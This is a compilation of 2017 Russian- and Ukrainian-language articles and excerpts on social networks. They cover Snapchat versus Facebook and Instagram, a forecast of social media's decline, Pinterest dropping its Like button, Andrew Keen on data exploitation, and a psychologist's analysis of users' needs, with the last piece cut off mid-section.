Такой подход явный для Google, но подразумевается и для Facebook. Вы умышленно говорите поисковику, чего хотите, но думаете, что не показываете этого Facebook. На самом деле вы потратили месяцы и годы говоря ему об этом посредством всех взаимодействий с контентом и его игнорированием в социальной сети. Facebook делает механические суждения о том, что будет в новостной ленте, которые так же связаны с вещами вне его контроля, как и в случае Google. Он – индекс своих пользователей. Иногда он решает, что сбился с пути и больше не отображает желания пользователей, и корректирует курс. Но его потребность, как и Google, быть зеркалом интернета (или большей его части, которую учитывает сам Facebook). Поэтому, как Google не может контролировать то, что вы вводите в поисковой строке, так и Facebook не подконтрольно то, что вас вовлекает.

Это означает, что Facebook смотрит на поведение пользователей и должен двигаться вслед за ними. Именно поэтому он выглядит столь ненадежным партнером: пригласит вас залезть на доску для серфинга, но если вы ее раскачиваете, то Facebook сбросит вас в воду. И этого не его выбор. Если бы он не столкнул вас, тогда доска бы окончательно потеряла баланс и Facebook оказался бы на дне океана рядом с MySpace. Гений компании Марка Цукерберга в том, что она смогла удерживать доску сбалансированной все это время, особенно в момент перехода с десктопа на мобайл.

Учитывая это, бывали случаи, когда Facebook изменял поведение пользователей таким образом, что они сами не думали, что хотят этого. Такими шагами была новостная лента, введение ее алгоритмического формирования и постоянное изменение правил приватности. Но все эти решения принимались на основе данных – метрик и алгоритмов.

Вам кажется, что линейная новостная лента лучше, но, на самом деле, данные говорят, что вы не правы. Facebook – первая компания, которая измеряет ложное сознание.

Как все это относится к Snapchat? Есть несколько вариантов сравнения творения Эвана Шпигеля и Facebook. Наиболее очевидное – раскачивание маятника от порядка и контроля в сторону веселья и хаоса. Еще одно – отход от пассивного потребления («Мне скучно. Что там в ленте?») к созданию и творчеству (при открытии приложения запускается камера). Snapchat, как и Instagram, отделяет камеру от Facebook (и от iMessage, WhatsApp и Facebook Messenger) в более эффективную автономную модель.

Но это также отклонения маятника от метрик. Вместо того, чтобы задаваться вопросом, куда нас ведут метрики, данные и алгоритмы, Snap ищет возможности для творчества. Создание – общая нить, проходящая через текст документов, поданных для IPO, и очень сильно проявляющаяся в видеоролике, продвигающем компанию: «мы должны создавать новое, разное и веселое. Постоянно».

Большинство творчества завязано на камере: Snap утверждает, что они camera company. Часто бывает полезно прислушаться к собственным словам компании в таких вещах. Но «камера» – термин с широким смыслом. Как я

писал ранее, воспринимать светочувствительный сенсор смартфона как инструмент для «фотографирования» – крайне ограниченная позиция. Для Snap это стало ясно с первым продуктом: исчезающие фотографии появились из идеи того, что съемка на телефон – коммуникация, а не способ сохранения памяти. Представьте, что хранение всех ваших фотографий сродни сохранению всех телефонных звонков. В более широком смысле, один из способов взглянуть на Snap – попытаться понять, что дисплей, ввод текста и камера – одно целое цифровое стекло.

Большинством мобильных приложений Facebook можно управлять мышкой и клавиатурой или даже клавишей Tab. Камера в них используется так, будто это веб-камера, приоткрытая скотчем к монитору. Snapchat и множество других приложений созданы исключительно для мобильных устройств, а не «в первую очередь для мобильных». У них есть свобода *tabula rasa*, которая позволяет ориентироваться на около миллиарда людей с быстрым интернет-доступом и высококлассными смартфонами. Facebook и Google же должны быть доступны для всех. Такое расхождение создает много возможностей для полностью новых идей.

Такие продукты сложно создавать, опираясь на метрики. Вы не знаете, какими будут продукты, так же, как и этого не знают ваши пользователи. Вы можете изменяться итеративно (наблюдать за пользователями) и увидеть, что ваш текущий продукт не работает. Но вы не можете постоянно создавать, основываясь на данных – нельзя использовать алгоритмы, чтобы изобретать новые вещи. Это (слишком часто используемый) аргумент Стива Джобса: это не работа потребителя изобретать новые вещи. Да, вы анализируете поведение пользователей, чтобы увидеть, работает ли продукт, и форма S1 Snap много рассказывает о том, как слушать пользователей, но так вы не создаете.

Подчеркнутое фокусирование Snap на «новом» выглядит как попытка убежать от Facebook. Соцсеть же систематически копирует крутые новые функции Snapchat. В некоторых случаях Facebook добивается успеха в копировании. Есть явные признаки замедления роста Snapchat в пользу приложений компании Цукерберга, особенно на не ключевых рынках. Но также важно, что Snap думает, что работает с созданием изображений, тачскрином, графический процессором и пользовательским опытом так же, как Facebook работал с шерингом. При этом компания Шпигеля считает, что у нее есть пространство для развития. Конечно, чем больше вы создаете и берете на себя рисков, тем больше вы заинтересованы в веселье и анархии, что с большей вероятностью приведет к созданию продуктов, которые ярко горят, но затем затухают. Поэтому вам нужно продолжать создавать, ведь опыт от вашего продукта должен обновляться не (только) потому, что старые функции кто-то уже скопировал.

Такой подход может привести Snap в новые области и сгенерировать новые «паттерны», которые для Facebook будет структурно сложно скопировать. С другой стороны, одно из тактических преимуществ Facebook в том, что у компании есть четыре места для тестирования заимствованных

функций. Цукерберг может позволить себе вставить истории в Instagram, а не Messenger, WhatsApp или основную новостную ленту. Разные идеи можно тестировать на разных площадках, в зависимости от того, куда они лучше подходят и где доска Facebook сможет лучше оседлать новые волны.

В то же время, Instagram не просто внедрял функции Snapchat. Он прошел через более структурные изменения, которые вызывают структурный вопрос о долгосрочном потенциале Snapchat. Если Google и Facebook – зеркало интернета (как в плане контента, так и поведения), а Snapchat намеренно им не является, Instagram перекочевал из одного лагеря в другой. Он шагнул не просто в сторону Snapchat, но и отошел от красивых, тщательно отобранных фотографий к массмаркету, то есть, в сторону индекса.

«Он стал местом, где люди продолжали повышать для себя планку качества, которое нужно достичь, чтобы опубликовать фотографию. Мы этого не хотели», – Кевин Вэйл, глава Instagram по продукту.

«Ваша связь с друзьями и семьей – вещь, которая заставляет Instagram работать. Все данные говорят в пользу того, что если вы следите за большим количеством друзей и вовлекаетесь во взаимодействие, то ваша активность взлетает до небес. Если вы просто просматривает контент знаменитостей или того, что вас интересует, это никак не влияет на процесс», – говорил Кевин Систром, сооснователь Instagram.

Для меня это знак, что Instagram движется в сторону того, чтобы стать еще одним индексом, зеркалом, следящим за поведением миллиардов людей, вместо миллионов. Есть миллионы людей, которые постят прекрасные фотографии утреннего кофе, архитектуры 1960-х или лайкают снимки знаменитостей. Но тех, кто поделится фото обеда, пива, собаки или ребенка, миллиарды. Instagram хочет захватить эту нишу так же, как Messenger и WhatsApp захватили чаты.

Для Snapchat возникает вопрос: может ли он дойти до миллиарда пользователей, не став индексом, не важно, сколько новых функций он создаст? Есть ли риск того, что его захватит не Facebook, а он просто не сможет выйти на достаточно широкую аудиторию? Это, очевидно, особая проблема, связанная со спецификой текущего пользовательского опыта («слишком сложно для людей старше 25 лет»). Но это также более фундаментальный вопрос характера видения продукта. Можно ли масштабировать инсайты и продуктовое видение вокруг 150 млн пользователей к тому, когда они касаются всех людей?

Один из путей социальных приложений на смартфонах в том, что смартфоны сами по себе являются социальной платформой, тогда как для десктоп-веба такого не было. У каждого приложения есть иконка на домашнем экране, поэтому можно быстрее переключаться между приложениями и между вкладками внутри них. Каждое приложение может присылать push-уведомления, получать доступ к контактам и фотогалерее. Поэтому, на телефоне использовать множество приложений гораздо проще, чем в вебе. Это позволяет приложениям быстро становиться популярными, но их путь может походить на феерверки: ярко горят, но быстро затухают. Каждое социальное

приложение пытается отхватить свой кусок психологии или иерархии Маслоу и инкапсулировать ее в нескольких механиках взаимодействия. Каждое пытается найти уникальный подход, который позволит вырваться из общей массы, но не настолько уникальный, чтобы становится причудой.

Кто-то скажет, что популярные приложения уже захватили ключевые части социальной сферы, заполнили все «белое пространство». Поэтому несмотря на то, что люди продолжают искать изворотливые подходы, будет становиться все сложнее выбраться на домашний экран и оставаться там. Следуя этой идее, Snap нашел последнее белое пятно (если он сможет защитить его от Facebook) и достаточно крупной ниши уже нет. Но можно также сказать, что Snap уверен: всегда можно найти абсолютно новые пути взаимодействия (так же, как всегда существуют множество человеческих желаний) и он будет их создавать.

[\(вверх\)](#)

Додаток 5

23.04.2017

Социальные сети выходят из моды

Владимир Стус

Сравнительно давно сделал прогноз о том, что социальные сети сейчас находятся на пике своей популярности и в будущем следует ожидать их выхода из моды ([ХВИЛЯ](#)).

- Привожу некоторые причины этого:
- Социальные сети зарождались в студенческих кампусах и были частью альтернативной субкультуры. Сейчас они стали мейнстримом не интересным альтернативной субкультуре.
- Пользователям постепенно надоедает глупая гонка за количеством френдов, подписчиков и лайков
- Многие делают всё более короткие посты, для них старые социальные сети стали слишком громоздким форматом общения. Те же немногие, кто умеет и любит делать более объёмные авторские материалы не хотят, чтобы они растворились в море коротких сиюминутных постов, котиках и перепостах
- Усиление государственного контроля за социальными сетями
- Социальные сети ужесточают требования к соблюдению авторских прав. Те, кому это не нравится – уходят в другие форматы
- На пике популярности социальных сетей многие открывали аккаунты чуть ли не в каждой. Теперь даже простой их просмотр занимает слишком много времени

Если раньше основным носителем для технологий манипулирования массовым сознанием был телевизор, то сейчас похоже основные усилия и бюджеты перемещаются в сеть. От ботов и манипуляторов уже тяжело дышать в социальных сетях. Одни, не имея возможности и/или навыков перепроверить и критически оценить информацию становятся распространителями вирусных

схем манипулирования массовым сознанием. Другие, видя, что уровень манипулирования в социальных сетях сравнился с «ящиком», просто перестают заходить, как когда-то из чувства протеста выключали телевизор.

Видео трансляции в социальных сетях в большинстве случаев представляют собой по форме трансляцию с помощью вебкамеры ноутбука, выполненную на фоне домашнего холодильника. По содержанию это обычно жутко затянутый монолог без предварительного сценария, в котором автор к середине уже забывает, о чем он хотел сказать вначале и начинает импровизировать на ходу. Сначала это прикольно, но быстро надоедает.

Прямой рекламы в социальных сетях становится всё больше, а её эффективность всё ниже. Бурный рост социальных сетей вызвал не менее бурный рост услуг по накрутке количества лайков и просмотров. Кликабельность окончательно перестала отражать эффективность.

Корпоративные странички в социальных сетях в абсолютном большинстве так и не стали эффективным средством продвижения и коммуникации, а в ряде случаев прямо вредят имиджу крупнейших корпораций. Корпоративные странички ведутся сотрудниками или агентствами, которые мало что знают и практически не имеют полномочий оперативно решать вопросы потребителей. Обычно общение на корпоративных страницах ведётся в стиле вежливого посылания и пересыщено скрытой саморекламой. Представьте, если бы я написал – «Спасибо, что читаете эту статью, Ваше мнение очень важно для автора. Автор всегда заботится о том, чтобы Вы оставались довольны». Надоело уже, да? А ведь это стандартный стиль материалов и общения на корпоративных страницах...

Жуткая перекапитализация IT компаний, владеющих ведущими социальными сетями, как признак растущего финансового пузыря. Когда этот финансовый пузырь рухнет, многие не смогут поддерживать функционирование своих социальных сетей.

Несмотря на определённые успехи в области анализа больших массивов данных, накопленных IT компаниями от своих пользователей, финансовая эффективность использования этих данных остаётся по-прежнему крайне низкой.

Начали проявляться первые признаки влияния на IT индустрию замедления темпов развития технологии обработки и передачи информации

Прогнозируемая мною ранее фрагментация интернета.

К чему это всё приведёт.

С одной стороны, прохождение пика популярности социальных сетей не означает, что завтра от них массово начнут отказываться. С другой стороны плавного заката вышедшей в тираж технологии тоже не будет. Тихого увядания, по аналогии, например, с ещё не так давно популярными блогами, тоже не будет. Сейчас среднесрочный прогноз практически любой тематики, от фондового рынка до большого спорта должен состоять из двух частей. Сначала ламинарная часть, а затем, после мегаобвала и выхода кризиса за преимущественно экономические рамки – турбулентная часть. В ламинарной

части после пройденного пика будет плавный спад. Социальные сети начнут фрагментироваться и специализироваться. Неформальные субкультуры будут постепенно мигрировать в мессенджеры, как облегченные версии социальных сетей. Следует ожидать появления новых форм неформальной коммуникации, альтернативной традиционным социальным сетям. Другие направления фрагментации – по интересам и по месту проживания. Также до мегаобвала возможно успеют появиться первые образцы давно прогнозируемого мною возрождения печатных журналов, ориентированных на статусного потребителя. Но настоящее веселье начнётся с мегаобвалом и началом прогнозируемой мною смуты Второй Тридцатилетней войны. В частности тогда следует ожидать:

- Банкротства ряда крупнейших корпораций IT сферы, причем специализирующихся как на железе, так и на софте и сервисе

- Легитимизации отхода от соблюдения авторских вообще и прав принадлежащих противостоящей стороне, в частности, введения информационных блокад, включая блокировку передачи данных по магистральным оптоволоконным сетям, строительство новых Берлинских стен в информационном пространстве

- Резкое усиление государственного контроля за интернетом в большинстве стран и попыток государственной фрагментации сети

- Массового запрета не только социальных сетей, но и другого софта противостоящих сторон

- Массовой активизации заранее заложенных троянских коней, шпионского и вредоносного софта и не задокументированных возможностей оборудования

- Базовые параметры протекания цивилизационной смуты в информационном пространстве достаточно прогнозируемы, как и то – кто кому и на каком уровне будет противостоять и даже кто в результате победит. Поэтому уже сейчас, на берегу можно сделать несколько общих рекомендаций:

- Усильте требования к резервированию на своих локальных носителях

- Верните стратегический документооборот в бумажный формат

- Оптимизируйте свои бюджеты на рекламу в социальных сетях, не доверяйте ни чьей статистике лайков, подписок и просмотров

- Либо сделайте свои коммуникационные каналы в социальных сетях эффективными для Вас и интересными для целевой аудитории либо вообще откажитесь от них. Корпоративные странички должны вести не SMM менеджеры или агентства, а первые лица либо их замы. Они страшно заняты и у них нет на это времени? А у Трампа есть время на Твиттер?

- По мере фрагментации целевой аудитории, как сверху, т.е. под влиянием усиления государственного регулирования, так и снизу, должны фрагментироваться Ваши коммуникативные каналы

- Не пропустите процесс возрождения печатных СМИ, ориентированных на статусного потребителя

- Изучите или освежите в памяти формальные признаки фейковых постов или новостей

– Помните, что прогресс не остановился с созданием ведущих социальных сетей и не приобрёл свою совершенную и завершённую форму

– Если Вы хотите быть услышанным в сводном хоре своих конкурентов и социальных сетях и в реале, то начните с простого – меньше перепостов и больше, уникального даже не контента, а смысла...

[\(вверх\)](#)

Додаток 6

23.04.2017

Илья Кабачинский

«Мы не Facebook или Instagram»: сервис Pinterest убрал кнопку Like

Представители Pinterest 22 апреля сообщили о том, что сервис отказывается от кнопки Like. Это сделано для популяризации другого важного элемента сервиса – кнопки Pin, отметили в Recode. Все пользователи получат обновление в ближайшие недели ([AIN.UA](#)).

Согласно официальной версии, есть два объяснения такого решения. Во-первых, пользователи часто путали функции кнопок Save и Like. Именно поэтому последнюю было решено убрать. Во-вторых, сервис пытается отмежеваться от других популярных визуальных платформ – Instagram и Facebook, где именно Like является одной из основных функций взаимодействия пользователя с контентом.

«В нашей компании мы придерживаемся мнения, что человек должен взаимодействовать с реальным, а не виртуальным миром. Поэтому важно быть собой, а не селфи-картиной. Есть множество платформ, которые позволяют вам поддерживать связь с друзьями. Мы же являемся единственным приложением в визуальном бизнесе», – отметил представитель Pinterest добавив, что их сервис не соцсеть.

Есть мнение, что Pinterest не так просто хочет отойти от сравнения с Facebook. По некоторым данным сервис собирается на IPO и сравнение с компанией Марка Цукерберга – не лучшая перспектива для оценки бизнеса, в виду того, насколько огромен бизнес Facebook. Подобное мнение подтверждается и тем, что Pinterest еще с лета прошлого года прямо заявлял – «Мы не социальная сеть».

«Для нас сейчас это важнейшая цель – дать людям понять, что мы не конкурируем с Facebook», – CEO Pinterest Бэн Силберманн.

Несмотря на то, что руководитель Pinterest пытается уйти от сравнения с Instagram, последний не забывает копировать себе часть его функций.

[\(вверх\)](#)

Додаток 7

25.04.2017

Экономика Facebook, Instagram, WhatsApp: выигрывают только миллиардеры

Экономика Facebook, Instagram, WhatsApp: выигрывают только миллиардеры ([Капитал](#))

Владельцы соцсетей уничтожают сотни тысяч рабочих мест, а взамен создают – десятки или сотни (даже не тысячи). Миллионы пользователей по всему миру – их бесплатная рабсила. Более того, от социальных сетей наподобие Twitter и Facebook до Google – у всех эксплуатация нашей персональной информации служит двигателем экономики «больших данных». Все эти компании стремятся изучить нас как можно глубже, чтобы без нашего согласия продать своим рекламодателям. Американский гик Эндрю Кин описывает, как соцсети эксплуатируют весь мир.

Эндрю Кин – исполнительный директор FutureCast в Силиконовой долине и обозреватель CNN. В своей новой книге «Ничего личного: как социальные сети, поисковые системы и спецслужбы используют наши персональные данные», написанной в 2014 году, он сравнивает зарю интернета, когда перед разработчиками ставились совсем иные цели создания сети, и сегодняшние дни, когда «кучка монополистов захватила мир, овладев данными пользователей из каждого уголка земного шара». Мы публикуем с ознакомительными целями отрывок из неё, в котором рассказывается об эксплуатации соцсетями своих пользователей.

«Новое экономическое неравенство отражает феодальное устройство Instagram, где у Джастина Бибера свита из 11 млн. фолловеров, а сам он игнорирует всех. Тем самым создается, по определению экономистов MIT Эндрю Макафи и Эрик Бринолфссона, «экономика звёзд и суперзвёзд». Новое экономическое устройство и есть главная причина того, почему за последние четверть века жизнь стала гораздо тяжелее для многих из нас. И причина того, что интернет или, по крайней мере, бизнес-модель интернет-компаний, таких как Instagram, Google, Twitter, Yelp и Facebook, не является подходящей платформой для построения справедливой экономики в сетевом XXI веке.

«Тут кроется ловушка, – предостерегает Джеймс Суловики по поводу „экономики Instagram“ в своей статье „Валовая внутренняя халява“, опубликованной в 2013 году в New Yorker. И это очень серьёзная ловушка. – Оцифровывание не требует много рабочей силы: вы можете придумать идею, написать программу и с лёгкостью распространить её среди сотен миллионов людей. В этом принципиальное отличие от физической продукции, которая требует несравнимо больших затрат труда на производство и распространение».

Ловушка соцсетей

Instagram – прекрасный пример такой ловушки. Программное обеспечение поглощает не только мир, но и с жадностью – наши рабочие места. Когда Кевин Систром испытал своё озарение на мексиканском пляже, у него был всего один партнер в Burbn – также выпускник Стэнфорда, программист по имени Майк Кригер. Совместно они написали первоначальную версию приложения, а для его распространения использовали онлайн-магазин App

Store компании Apple. И даже на момент продажи Instagram сети Facebook за миллиард долларов в апреле 2012 года в небольшом офисе компании в деловом центре Сан-Франциско работали всего 13 штатных сотрудников.

Нет, это не опечатка. В Instagram действительно работали всего 13 штатных сотрудников, когда Facebook заплатила за этот стартап миллиард долларов. Между тем в Рочестере Kodak закрыла 13 заводов и 130 фотолабораторий, уволив 47 тысяч сотрудников. И эти десятки тысяч были не единственными жертвами «экономики селфи». Вместе с ними серьёзно пострадали и профессиональные фотографы. В период с 2000 по 2012 год число тех, кто занимался художественной фотографией и работал на американские газеты, сократилось на 43% (с 6171 до 3493 человек).

Так кто же выполняет всю работу в этом стартапе с 13 сотрудниками и стоимостью в миллиард долларов да к тому же обеспечивает его всем необходимым?

Это мы. Все мы, 150 млн. составляем «Моментальную Нацию». Творение Кевина Систрома – это наиболее типичная фабрика данных в нашей новой цифровой экономике. В отличие от бывшей промышленной фабрики – «небоскрёба» в центре Рочестера – фабрики данных XXI века такие же вездесущие, как селфи, и действуют повсюду, где есть подключённый к сети девайс. Именно наш труд на этих маленьких девайсах – непрерывный поток твитов, постов, поисковых запросов, обновлений, просмотров, комментариев и снимков – создает всю стоимость в сетевой экономике.

Разумеется, не только Instagram сумел выстроить обширный бизнес, используя рабочую силу по минимуму. Точно так же поступает и базирующийся в Сан-Франциско стартап WhatsApp, предлагающий платформу для обмена мгновенными сообщениями, который был приобретен Facebook за 19 млрд. долларов в феврале 2014 года. В декабре 2013-го WhatsApp обрабатывал 54 млрд. сообщений от своих 450 млн. пользователей, при этом сервисом занимались всего 55 человек. «WhatsApp воплощает в себе все недостатки американской экономики», – считает Роберт Райх, министр труда в администрации Клинтона. Так он расценивает сервис, который практически не создаёт рабочих мест и усугубляет пороки экономики, где победитель получает всё на цифровом рынке.

Это один из самых больших парадоксов нашей якобы технологически обогащенной цифровой эпохи. В отличие от индустриальной экономики сегодня качество технологий вторично. Когда Facebook и Twitter вели войну предложений за Instagram, они боролись не за дешёвые готовые фотофильтры Кевина Систрома или за программу, которую он на пару с Майком Кригером соорудил за несколько месяцев. Они платили за нас. Они хотели приобрести нас – наш труд, нашу производительность, нашу сеть, нашу вероятную креативность. Именно по этой же причине в мае 2013 году Yahoo приобрела сеть микроблогов Tumblr с её 300 млн. пользователей и штатом всего лишь в 178 сотрудников за 1,1 млрд. долларов, а Facebook в ноябре 2013 году

предложила 3 млрд. за приложение для обмена фотографиями Snapchat, где на тот момент работало всего 20 человек.

Фабрики данных поглощают наш мир, при этом порождая избранный круг молодых плутократов, таких как Эван Шпигель, Кевин Систром и 27-летний генеральный директор Tumblr Дэвид Карп – они определённо не обогащают нас остальных. Ведь за весь тот колоссальный труд, который мы вкладываем в эти компании – добавляя интеллект Google, или контент Facebook, или фотографии Snapchat, – мы не получаем ничего. Совсем ничего, кроме права на бесплатное использование программного обеспечения.

«Так было не всегда, – говорится в статье на TechCrunch о новой экономике фабрики данных. – В прежние времена, чтобы заработать прибыль, компании сами трудились в поте лица. Они нанимали огромное количество работников на реальное производство, чтобы те шили одежду или делали автомобили. За свою работу люди получали заработную плату и покупали на неё реальные товары. Но технологии изменили всё».

Да, технологии действительно изменили всё. Некоторые утверждают, что хотя эти перемены могут быть губительными для прежнего промышленного рабочего класса, зато они определено выгодны для потребителей, которые пусть и не получают оплаты за свой труд, но получают возможность бесплатно наслаждаться такими услугами, как непрерывный режим работы Twitter, ресторанные обзоры Yelp, поисковая система Google и видео YouTube. Кроме того, утверждается, что в сегодняшней «экономике внимания» эти сервисы предоставляют нам платформы, позволяющие нам оставаться на виду и сотворять из себя, по выражению профессора Фордемского университета Элис Марвик, «микрознаменитостей», что важно в эпоху социальных медиа.

Instagram находится в центре сегодняшнего идеального шторма технологических, социальных и экономических изменений. Данный сервис позволяет таким «зависимым», как Джеймс Франко, распространять свои фото в стиле «Привет, это я!» среди 1,5 млн. своих фолловеров. Это идеальное решение для нашей нарциссической и вуайеристской эпохи – персонализированное, приспособленное к потребителю и простое в использовании приложение, которое поощряет нас лгать насчёт себя. Но, будучи инструментом, искажающим мир, Instagram к тому же внушает нам чудовищную ложь, соблазняя мыслью о том, что мы владеем этой технологией. Как будто она принадлежит нам.

«Instagram хочет владеть нами»

Однако проблема в том, что мы не владеем ничем – ни технологией, ни долей в прибылях, ни, возможно, даже «нашими» миллиардами фотографий. Мы бесплатно трудимся на этой фабрике данных, а Instagram забирает себе не только все доходы от своего бизнеса, но и плоды нашего труда. В декабре 2012 года Instagram внесла ряд спорных изменений в условия предоставления своих услуг, и Кевину Систрону пришлось во всеуслышание отвергать обвинения в том, что Instagram намеревается продавать фотографии пользователей и их данные третьим лицам. Однако вопрос о том, кто же на самом деле владеет

контентом Instagram, остается таким же расплывчатым, как и её снимки. В докладе, выпущенном в июле 2013 году Американским обществом фотографов СМИ (American Society of Media Photographers, ASMP), отмечалось, что большинство пользователей Instagram «не понимают, в какой степени они отказываются от своих авторских прав». Навязываемые компанией «обременительные» условия использования снимков, сообщается в докладе ASMP, «позволяют Instagram бессрочно использовать фото- и видеоматериалы, а также наделяют почти неограниченным правом разрешать использование изображений любой третьей стороне».

Хочет Instagram или нет владеть нашими фотографиями, но она, безусловно, хочет владеть нами. В действительности персональное – это экономическое. Ведь многомиллионные инвестиции венчурных капиталистов Кремниевой долины вкладывались в бесплатное приложение Instagram именно ради того, чтобы зарабатывать деньги на добывании данных о его пользователях. А бизнес-модель Instagram, как и Google, Facebook, Yahoo, Twitter, Snapchat и большинства других успешных интернет-компаний, основана на рекламе – такую стратегию она официально приняла в ноябре 2013 года.

В «обмен» на бесплатное пользование приложением мы посредством своих фотографий предоставляем Instagram всё больше и больше информации о наших вкусах, действиях и друзьях. Мы считаем, что используем Instagram, чтобы смотреть на мир, но в действительности сами являемся объектом для наблюдения. И чем больше информации о себе раскрываем, тем более ценными становимся для рекламодателей. Например, если бы я разместил в Instagram свои снимки всемирной штаб-квартиры Kodak в Рочестере, то приложение, получив данные о местоположении с моего iPhone, немедленно завалило бы меня предложениями скидок в местных отелях или, возможно, что более уместно с учетом тяжелого экономического положения города, рекламой агентств по трудоустройству. Либо, как это уже делает ее материнская компания Facebook, Instagram могла бы вставить мои фотографии в рекламу и использовать их для продвижения продуктов и услуг, представленных в моем посте. И все это без моего разрешения и даже без уведомления меня.

«Бесплатное» оказывается совсем не бесплатным

Тут-то мы и обнаруживаем самый тревожный порок в экономике фабрики данных. «Бесплатное» оказывается совсем не бесплатным. Тягчайший обман Instagram состоит в том, что она использует наше самолюбие для достижения своих тайных и крайне извращённых экономических целей. Instagram создаёт сюрреалистическую экономику, где мы не только создаем сетевой продукт, но и сами являемся продуктом. Таким образом, персональная революция становится ещё персональнее, чем хотелось бы большинству из нас. Ключевая экономическая ценность фабрики данных состоит во всех тех персональных сведениях, которые она вытягивает из своих бесплатных работников. И, как в фильме ужасов Хичкока, именно вы – невинный свидетель, простой обыватель

– становитесь жертвой того, что вам не под силу ни понять, ни взять под контроль.

От социальных сетей наподобие Twitter и Facebook до второй по стоимости компании в мире Google – у всех эксплуатация нашей персональной информации служит двигателем экономики «больших данных». Все эти компании стремятся изучить нас как можно глубже, чтобы потом можно было нас упаковать и – без нашего согласия – продать своим рекламодателям.

Итан Цукерман, директор Центра гражданских медиа при MIT и один из изобретателей «всплывающего окна» для онлайн-рекламы, называет жадность к персональным данным «первородным грехом» сети, который вынуждает интернет-стартапы, отдающие свои продукты в бесплатное пользование, ещё глубже «погружаться в слежку за пользователями». «Сегодня стало очевидно, что сделанное нами обернулось полным провалом, – язвительно написал Цукерман о “благих намерениях” пионеров интернета наподобие себя самого. – Поэтому позвольте мне напомнить вам, что изначально мы хотели сотворить нечто смелое и благородное».

«Мы становимся бесплатными рекламными щитами для Google»

Google с её комплектом бесплатных продуктов, таких как поисковая система Google Search, почта Gmail, социальная сеть Google+ и видеохостинг YouTube, среди всех компаний больших данных отличается самым изощрённым маркетингом, позиционируя себя как бескорыстную некоммерческую службу, и при этом грубо эксплуатирует своих простодушных пользователей. Google уже активно интегрирует наши посты и фотографии в рекламные объявления, которые затем демонстрируются миллиардам посетителей двух миллионов сайтов, охваченных её рекламной сетью. Google, чьи намерения, как и у Facebook, были, безусловно, благими, сейчас превращает нас буквально в красочные баннеры для своего рекламного бизнеса. Таким образом, в интернет-экономике мы служим не только бесплатным продуктом, но уже и становимся рекламными щитами для размещения рекламы Google. В прежние времена компании нанимали людей, чтобы те разгуливали по улице с надетыми на себя «сэндвичами» – прикреплёнными спереди и сзади рекламными щитами. Теперь все мы делаем это бесплатно.

Как признался еще в 2007 году в интервью Financial Times тогдашний генеральный директор Google Эрик Шмидт, Google хочет знать нас лучше, чем мы знаем самих себя, с тем чтобы подсказывать нам, не только какой работой следует заняться, но и как мы желаем провести свой день. «Мы знаем, где вы находились, – сказал Шмидт редактору Atlantic Джеймсу Беннету в сентябре 2010 года. – Мы более-менее точно знаем, о чём вы думаете». Это и есть подлинная причина, почему в 2014-м Google потратила 500 млн. долларов на покупку стартапа DeepMind, занимающегося разработкой технологии искусственного интеллекта. Научившись мыслить, как мы, и сумев пробраться в наше сознание, Google завладеет нами. А завладев нами – нашими

желаниями, намерениями, карьерными устремлениями и, в первую очередь, покупательскими предпочтениями – Google завладеет сетевым будущим.

[\(вверх\)](#)

Додаток 8

12.04.2017

Як соціальні мережі виявляють психологічні потреби особистості Валерія Цихоня, практикуючий психолог

Уявіть ситуацію: ще сто років тому люди особисто або листуванням домовлялися про зустрічі за тиждень або навіть місяць. І не було ніяких смс «я затримаюся на 15 хв.». Вони приходили на призначене місце і чекали. Звичайно, ритм життя був більш спокійним. Сьогодні ми можемо робити дива – швидко корегувати свої плани та погоджувати їх з іншими. Ми можемо за лічені хвилини знайти будь-яку інформацію і для цього нам не обов'язково йти до бібліотеки. За допомогою Інтернету та мобільного пристрою можна вести прямі трансляції на весь світ. Це безумовно відкриває нові можливості, але у будь-яких інновацій є зворотний бік ([ЖИВИ АКТИВНО](#)).

За якихось неповних 20 років людство перейшло на новий формат спілкування та передачі інформації. Це має свої зручності, але часто в новому контексті знаходять своє втілення й індивідуальні психологічні проблеми.

Де межа між простим спілкуванням, відкритістю та демонстративністю? Чим керуються такі люди, які постійно звітують про своє життя іншим в Інтернеті? Може, вони хочуть щось комусь довести? А може прагнуть переконати себе, що їх життя дійсно цікаве. Та що казати? Звичайно, якоїсь універсальної відповіді ми не знайдемо на це питання. Також ми не будемо розглядати випадки, коли люди просувають свій бізнес в мережах. Ми всі дуже індивідуальні, але у сучасній науці є спроби узагальнити причини активності та надмірної відвертості у соціальних мережах. Спробуємо проаналізувати окремі з них. Виділяють такі потреби, що складають підґрунтя надмірної активності у соціальних мережах. Це – потреба у стимуляції, потреба в подіях, потреба в упізнаванні, потреба у визнанні досягнень, потреба у структуруванні часу. Розглянемо їх більш детально.

Потреба у стимуляції

Полягає в тому, що протягом життя людина отримує численні стимули з оточуючого середовища. Найбільш значущими є стимули, які ми отримуємо від інших людей. Соціальна стимуляція є особливо важливою, коли зворотний зв'язок ми отримуємо від авторитетних осіб, або людей, які викликають повагу, симпатію. Окремо можна виділити стимуляцію від незнайомих осіб, яких ви раптом зацікавили. Наприклад, як користувач мережі, ви написали статус стосовно актуального політичного становища у країні і в таких спосіб озвучили свою громадянську позицію. Соціальна стимуляція в даному випадку буде вимірюватися кількістю позитивних оцінок публікації, так званими лайками та

цитуванням – ревітами. З одного боку, наше сучасне життя – стрімке, насичене подіями, з іншого, більшість з нас вважає його нудним.

Люди потребують певної динаміки, строкатості навколо себе та розмаїття подій. Життя середньостатистичної людини буденне – дім, робота, коли є час і сили – зустрічі, відпочинок. Контакт з іншими через соціальні мережі – це отримання новин. Заходиш в Інтернет і бачиш: хтось ходив на концерт, хтось змінив роботу, хтось імідж, хтось потовстішав, хтось одружився тощо. При нагоді ці новини можна обговорити з іншими людьми, адже коли тобі немає чого розповісти про себе завжди можна розповісти про іншого. Така часто пасивна споглядацька активність є квазіспілкуванням, яке з одного боку задовольняє потребу у подіях, а з іншого – все більше пробуджує власний голод до них. І так можна не зчутися як одного разу, цікаво проводячи час, ви почнете ділитися цим з вашими підписниками у соціальних мережах, адже цікава зустріч, відвідування театру, виставки, пікнік, відпустка – це підтвердження іншим того, що твоє життя також цікаве.

Потреба в упізнаванні

